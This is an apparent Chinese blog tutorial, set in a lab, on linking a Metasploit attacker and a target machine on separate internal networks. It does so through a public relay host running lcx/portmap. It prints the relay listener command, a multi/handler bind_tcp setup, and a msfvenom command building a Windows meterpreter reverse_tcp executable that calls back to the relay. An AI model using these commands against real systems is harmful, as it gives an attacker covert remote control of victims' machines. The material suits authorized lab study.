0x00 网络拓扑
问题
在学习metasploit使用的时候,会使用到许多反弹shell对目标进行控制。但是我的主机在内网,而且是用的Kali虚拟机根本没有公网ip呀~假设目标机器也是内网的,那么问题来了怎么将两个内网ip进行连接呢?
找了网上的资料,自己在这里也重新实际操作了一遍。在这里记录下。
环境搭建
- Kali-64bit 公网ip 10.10.10.129 扮演角色为:中转站(实际渗透过程中,可以使用阿里云服务器)
- My-Kali-64bit 公网ip 10.10.10.128 扮演角色为:攻击者(有点懒,就不配两个内网了,机理是相同的)
- winxp sp3 内网ip 192.168.10.128 扮演角色为:目标主机
- Ubuntu 网关服务器(这里需要配置内网的路由,我用的是metasploit魔鬼训练营的环境)
目的
将My-Kali-64bit攻击主机和winxp sp3内网用户主机用meterpreter进行连接。
0x01 步骤
1.在公网主机kali上监听2个端口
这里使用到了linux下的lcx工具,在文章最后会提供下载。
1 | ./portmap -m 2 -p1 200 -p2 300 |
监听了200和300端口,等待连接。当两个端口都连接时,会在两个机器之前建立一个通道,从而连接。
2.使用攻击者的msf连接kali的公网ip
1 | use exploit/multi/handler |
使用攻击者的msf,设置payload为bind_tcp,远程绑定中转站kali公网机器的200端口。这样做了之后,相当于绑定了公网kali主机的300端口,等待数据。
3.使用msfvenom生成一个反弹shell的payload,并在目标主机上执行
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=300 -f exe -o ~/Desktop/msf.exe |
使用metasploit的payload生成器msfvenom生成一个攻击payload(msf.exe),这就相当于一个反弹shell脚本。将该exe传到目标主机上执行,即可连接攻击者和目标机器。
这样就可以舒服地使用meterpreter进行后渗透测试了。
0x02 新想法
在写的时候,我想能否有直接的参数使用,对其直接执行反弹shell,而非上传连接。